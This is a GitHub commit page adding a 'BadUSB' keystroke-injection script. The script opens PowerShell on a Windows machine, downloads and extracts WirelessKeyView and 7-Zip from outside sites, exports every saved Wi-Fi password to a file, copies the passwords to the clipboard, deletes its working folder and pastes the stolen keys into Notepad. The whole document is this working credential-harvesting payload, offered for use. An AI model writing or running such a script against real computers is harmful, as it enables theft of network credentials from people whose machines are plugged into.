Merge pull request #2 from moosehadley/main

Add BadUSB Script (moosehadley)
This commit is contained in:
UberGuidoZ 2022-05-18 12:22:43 -07:00 committed by GitHub
commit 7daee12f87
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,37 @@
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING mkdir \temp ; cd \temp ; Invoke-WebRequest -Headers @{'Referer' = 'https://www.nirsoft.net/utils/wireless_key.html'} -Uri https://www.nirsoft.net/toolsdownload/wirelesskeyview.zip -OutFile wkv.zip ; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip ; Expand-Archive 7z.zip ; .\7z\7za.exe e wkv.zip
ENTER
DELAY 5000
STRING WKey4567#
ENTER
STRING .\WirelessKeyView.exe /export keys.txt
ENTER
DELAY 1000
LEFT
ENTER
DELAY 1000
STRING NOTEPAD.EXE keys.txt
ENTER
DELAY 1000
CTRL A
CTRL C
ALT F4
DELAY 1000
STRING cd \
ENTER
STRING rmdir -R /temp
ENTER
STRING EXIT
ENTER
GUI r
DELAY 1000
STRING notepad.exe
ENTER
DELAY 1000
CTRL V
ENTER
STRING Done...